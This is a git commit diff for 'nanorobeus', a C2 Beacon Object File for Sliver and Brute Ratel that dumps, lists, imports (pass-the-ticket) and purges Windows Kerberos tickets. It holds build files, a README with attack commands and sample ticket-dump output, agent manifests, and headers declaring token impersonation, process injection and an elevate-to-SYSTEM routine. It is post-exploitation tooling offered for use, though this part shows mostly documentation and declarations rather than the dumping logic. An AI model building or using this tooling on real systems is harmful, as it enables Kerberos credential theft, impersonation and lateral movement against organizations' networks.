Initial commit

This commit is contained in:
wavvs
2022-07-04 03:33:14 +03:00
commit 5405fccbc8
23 changed files with 1795 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
.vscode
+26
View File
@@ -0,0 +1,26 @@
BOFNAME := nanorobeus
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
STRIP := strip
OPTIONS := -O3 -masm=intel -Wall -I include -l advapi32 -l secur32
nanorobeus:
$(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
source/sessions.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS)
$(STRIP) --strip-all dist/$(BOFNAME).x64.exe
$(CC_x86) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
source/sessions.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS)
$(STRIP) --strip-all dist/$(BOFNAME).x86.exe
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o -DBOF $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME).x64.o
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_brc4.x86.o -DBRC4 $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x86.o
+117
View File
@@ -0,0 +1,117 @@
# Nanorobeus
COFF file (BOF) for managing Kerberos tickets.
## Supported agents
* [Sliver](https://github.com/BishopFox/sliver)
* [Brute Ratel](https://bruteratel.com)
## Commands
**luid** - get current logon ID
**sessions** *[/luid <0x0>| /all]* - get logon sessions
**klist** *[/luid <0x0> | /all]* - list Kerberos tickets
**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets
**ptt** *\<base64\> [/luid <0x0>]* - import Kerberos ticket into a logon session
**purge** [/luid <0x0>] - purge Kerberos tickets
## Examples
Get current logon ID.
```
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
```
Get detailed information about the current logon session.
```
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
```
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session.
```
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
```
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session.
```
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
```
Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session.
```
=> make_token network fortress.local test pass
=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
```
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session.
```
=> nanorobeus64 purge
[+] Successfully purged tickets.
```
## Credits
* Rubeus - https://github.com/GhostPack/Rubeus
* mimikatz - https://github.com/gentilkiwi/mimikatz
+2
View File
@@ -0,0 +1,2 @@
*
!.gitignore
+88
View File
@@ -0,0 +1,88 @@
/*
* Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
/* ====================================================================
* Copyright (c) 1995-1999 The Apache Group. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the Apache Group
* for use in the Apache HTTP server project (http://www.apache.org/)."
*
* 4. The names "Apache Server" and "Apache Group" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* apache@apache.org.
*
* 5. Products derived from this software may not be called "Apache"
* nor may "Apache" appear in their names without prior written
* permission of the Apache Group.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the Apache Group
* for use in the Apache HTTP server project (http://www.apache.org/)."
*
* THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This software consists of voluntary contributions made by many
* individuals on behalf of the Apache Group and was originally based
* on public domain software written at the National Center for
* Supercomputing Applications, University of Illinois, Urbana-Champaign.
* For more information on the Apache Group and the Apache HTTP server
* project, please see <http://www.apache.org/>.
*
*/
#pragma once
int Base64encode_len(int len);
int Base64encode(char* coded_dst, const char* plain_src, int len_plain_src);
int Base64decode_len(const char* coded_src);
int Base64decode(char* plain_dst, const char* coded_src);
+81
View File
@@ -0,0 +1,81 @@
#pragma once
/* data API */
#include <windows.h>
#ifdef BOF
typedef struct {
char *original; /* the original buffer [so we can free it] */
char *buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap *parser, char *buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap *parser);
DECLSPEC_IMPORT short BeaconDataShort(datap *parser);
DECLSPEC_IMPORT int BeaconDataLength(datap *parser);
DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);
/* format API */
typedef struct {
char *original; /* the original buffer [so we can free it] */
char *buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp *format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp *format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp *format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp *format, char *text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp *format, char *fmt, ...);
DECLSPEC_IMPORT char *BeaconFormatToString(formatp *format, int *size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp *format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char *fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char *data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char *buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, int p_len, int p_offset, char *arg,
int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION *pInfo, char *payload, int p_len, int p_offset,
char *arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max);
#define PRINT(dispatch, ...) \
{ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); }
#elif BRC4
DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...);
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR *buf);
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR *buf);
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len);
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char *string);
#define PRINT(dispatch, ...) \
{ BadgerDispatch(dispatch, __VA_ARGS__); }
#else
#define PRINT(dispatch, ...) \
{ fprintf(stdout, __VA_ARGS__); }
#endif
+123
View File
@@ -0,0 +1,123 @@
#pragma once
#include <windows.h>
#include <ntsecapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <stdio.h>
#if defined(BOF) || defined(BRC4)
// kernel32
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread();
// msvcrt
WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str);
WINBASEAPI size_t __cdecl MSVCRT$strlen(const char* _Str);
WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count);
WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base);
WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2);
WINBASEAPI void* __cdecl MSVCRT$malloc(size_t size);
WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size);
WINBASEAPI void __cdecl MSVCRT$free(void* memblock);
WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict__ _Dst, const void* __restrict__ _Src, size_t _MaxCount);
WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
// advapi32
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
LPVOID TokenInformation, DWORD TokenInformationLength,
PDWORD ReturnLength);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
BYTE nSubAuthorityCount, DWORD nSubAuthority0,
DWORD nSubAuthority1, DWORD nSubAuthority2,
DWORD nSubAuthority3, DWORD nSubAuthority4,
DWORD nSubAuthority5, DWORD nSubAuthority6,
DWORD nSubAuthority7, PSID* pSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);
WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
PHANDLE DuplicateTokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken);
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState, DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS Status);
WINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf();
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf,
PHANDLE TokenHandle);
// secur32
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,
PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle,
PLSA_OPERATIONAL_MODE SecurityMode);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName,
PULONG AuthenticationPackage);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage,
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle);
#else
#define KERNEL32$GetCurrentProcess GetCurrentProcess
#define KERNEL32$GetLastError GetLastError
#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime
#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot
#define KERNEL32$Process32FirstW Process32FirstW
#define KERNEL32$Process32NextW Process32NextW
#define KERNEL32$CloseHandle CloseHandle
#define KERNEL32$OpenProcess OpenProcess
#define KERNEL32$GetCurrentThread GetCurrentThread
#define MSVCRT$strcmp strcmp
#define MSVCRT$wcslen wcslen
#define MSVCRT$strlen strlen
#define MSVCRT$wcstombs wcstombs
#define MSVCRT$wcscmp wcscmp
#define MSVCRT$strtol strtol
#define MSVCRT$malloc malloc
#define MSVCRT$calloc calloc
#define MSVCRT$free free
#define MSVCRT$memcpy memcpy
#define MSVCRT$memset memset
#define ADVAPI32$OpenProcessToken OpenProcessToken
#define ADVAPI32$GetTokenInformation GetTokenInformation
#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
#define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid
#define ADVAPI32$EqualSid EqualSid
#define ADVAPI32$FreeSid FreeSid
#define ADVAPI32$DuplicateToken DuplicateToken
#define ADVAPI32$ImpersonateLoggedOnUser ImpersonateLoggedOnUser
#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA
#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges
#define ADVAPI32$LsaNtStatusToWinError LsaNtStatusToWinError
#define ADVAPI32$RevertToSelf RevertToSelf
#define ADVAPI32$OpenThreadToken OpenThreadToken
#define SECUR32$LsaGetLogonSessionData LsaGetLogonSessionData
#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer
#define SECUR32$LsaEnumerateLogonSessions LsaEnumerateLogonSessions
#define SECUR32$LsaRegisterLogonProcess LsaRegisterLogonProcess
#define SECUR32$LsaLookupAuthenticationPackage LsaLookupAuthenticationPackage
#define SECUR32$LsaCallAuthenticationPackage LsaCallAuthenticationPackage
#define SECUR32$LsaDeregisterLogonProcess LsaDeregisterLogonProcess
#define SECUR32$LsaConnectUntrusted LsaConnectUntrusted
#endif
+51
View File
@@ -0,0 +1,51 @@
#pragma once
#include <windows.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <tlhelp32.h>
#include "beacon.h"
#include "bofdefs.h"
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L)
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
typedef struct _LOGON_SESSION_DATA {
PSECURITY_LOGON_SESSION_DATA* sessionData;
ULONG sessionCount;
} LOGON_SESSION_DATA, PLOGON_SESSION_DATA;
enum KERB_ETYPE {
DES_CBC_CRC = 1,
DES_CBC_MD4 = 2,
DES_CBC_MD5 = 3,
DES3_CBC_MD5 = 5,
DES3_CBC_SHA1 = 7,
DSAWITHSHA1_CMSOID = 9,
MD5WITHRSAENCRYPTION_CMSOID = 10,
SHA1WITHRSAENCRYPTION_CMSOID = 11,
RC2CBC_ENVOID = 12,
RSAENCRYPTION_ENVOID = 13,
RSAES_OAEP_ENV_OID = 14,
DES3_CBC_SHA1_KD = 16,
AES128_CTS_HMAC_SHA1 = 17,
AES256_CTS_HMAC_SHA1 = 18,
RC4_HMAC = 23,
RC4_HMAC_EXP = 24,
SUBKEY_KEYMATERIAL = 65,
OLD_EXP = -135
};
HANDLE GetCurrentToken(DWORD DesiredAccess);
char* GetEncryptionTypeString(LONG encType);
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li);
BOOL IsHighIntegrity(HANDLE TokenHandle);
BOOL IsSystem(HANDLE TokenHandle);
NTSTATUS GetLsaHandle(HANDLE hProcessToken, BOOL highIntegrity, HANDLE* hLsa);
int GetProcessIdByName(WCHAR* processName);
BOOL ElevateToSystem();
// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
// bEnablePrivilege);
char* GetNarrowString(WCHAR* src);
char* GetNarrowStringFromUnicode(UNICODE_STRING src);
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include <windows.h>
#include <ntsecapi.h>
#include "base64.h"
#include "common.h"
#include "sessions.h"
void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump);
void EnumerateTickets(LUID*, BOOL, HANDLE);
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
PULONG ticketSize);
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo);
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags);
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include "common.h"
void execute_luid(WCHAR** dispatch, HANDLE hToken);
LUID* GetCurrentLUID(HANDLE TokenHandle);
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include "common.h"
#include "base64.h"
void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid);
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include <ntsecapi.h>
#include "common.h"
void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <windows.h>
#include "bofdefs.h"
#include "common.h"
#include "luid.h"
void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data);
char* GetLogonTypeString(ULONG uLogonType);
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data);
+24
View File
@@ -0,0 +1,24 @@
{
"register_obj": {
"nanorobeus64": {
"arch": "x64",
"artifact": "WINAPI",
"description": "Badger Object File for managing Kerberos tickets",
"example": "nanorobeus64 help",
"file_path": "server_confs/bofs/nanorobeus_brc4.x64.o",
"mainArgs": "NA",
"minimumArgCount": 1,
"optionalArg": "NA"
},
"nanorobeus86": {
"arch": "x86",
"artifact": "WINAPI",
"description": "Badger Object File for managing Kerberos tickets",
"example": "nanorobeus86 help",
"file_path": "server_confs/bofs/nanorobeus_brc4.x86.o",
"mainArgs": "NA",
"minimumArgCount": 1,
"optionalArg": "NA"
}
}
}
+56
View File
@@ -0,0 +1,56 @@
{
"name": "nanorobeus",
"version": "0.0.1",
"command_name": "nanorobeus",
"extension_author": "wavvs",
"original_author": "wavvs",
"repo_url": "https://github.com/wavvs/nanorobeus",
"help": "Beacon Object File for managing Kerberos tickets",
"long_help": "",
"depends_on": "coff-loader",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "nanorobeus.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "nanorobeus.x86.o"
}
],
"arguments": [
{
"name": "command",
"desc": "Command to execute (luid, sessions, klist, dump, ptt, purge, help)",
"type": "string",
"optional": false
},
{
"name": "arg1",
"desc": "arg1",
"type": "string",
"optional": true
},
{
"name": "arg2",
"desc": "arg2",
"type": "string",
"optional": true
},
{
"name": "arg3",
"desc": "arg3",
"type": "string",
"optional": true
},
{
"name": "arg4",
"desc": "arg4",
"type": "string",
"optional": true
}
]
}
+185
View File
@@ -0,0 +1,185 @@
/*
* Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
/* ====================================================================
* Copyright (c) 1995-1999 The Apache Group. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the Apache Group
* for use in the Apache HTTP server project (http://www.apache.org/)."
*
* 4. The names "Apache Server" and "Apache Group" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* apache@apache.org.
*
* 5. Products derived from this software may not be called "Apache"
* nor may "Apache" appear in their names without prior written
* permission of the Apache Group.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the Apache Group
* for use in the Apache HTTP server project (http://www.apache.org/)."
*
* THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This software consists of voluntary contributions made by many
* individuals on behalf of the Apache Group and was originally based
* on public domain software written at the National Center for
* Supercomputing Applications, University of Illinois, Urbana-Champaign.
* For more information on the Apache Group and the Apache HTTP server
* project, please see <http://www.apache.org/>.
*
*/
/* Base64 encoder/decoder. Originally Apache file ap_base64.c
*/
#include <string.h>
#include "base64.h"
/* aaaack but it's fast and const should make it shared text page. */
static const unsigned char pr2six[256] = {
/* ASCII table */
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
